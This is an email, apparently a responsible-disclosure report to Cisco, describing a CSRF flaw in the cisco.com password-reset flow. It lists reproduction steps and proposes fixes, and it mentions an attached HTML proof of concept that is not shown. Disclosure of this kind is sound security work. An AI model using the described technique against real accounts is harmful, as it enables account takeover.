Dear Team , Hope this email finds you well , Please be informed that i found a Major Security vulnerability in the Main Cisco Web Site https://www.cisco.com/ *Introduction* The vulnerability allows a remote hacker to force Victim`s browser to send reset password for their accounts and then the Hacker will be able to take the ownership of this account. ---------------------- *Description and Steps To reproduce the issue * 1-Go to Main Cisco web site and create a new Account 2-Click on forget password and then enter your email 3-An email address will be sent to your Inbox...click the link to reset your password 4-After capturing the request (attached) found that it was Sent with a session token to open the Web page but with the Confirmation - Sending Email , this session Token didn`t sent plus there is no Authorization code or anti forgery tokens ! *this lead to CSRF Vulnerability in the back end side * 5-By writing very simple POC script to simulate this request ...the hacker will be able to change password of the registered/Loggedin victims in Cisco Web application. and by knowing his email he will be able to take his account easily ! ------------------------ *Mitigation* i`m suggesting the following solution to solve this issue : 1-In *post* reset password action : the request should contains the Session token or authorization code and the back end side should validate that this session is valid 2-Anti Forgery token should be added to the request parameters . ------------------- Attached Screen shots and Simple POC (CISCO_ACCOUNT_OWNERSHIPT_CSRF.html) to represent the issue. if there is any thing not clear , please let me know Looking forward to read from you soon :) Regards
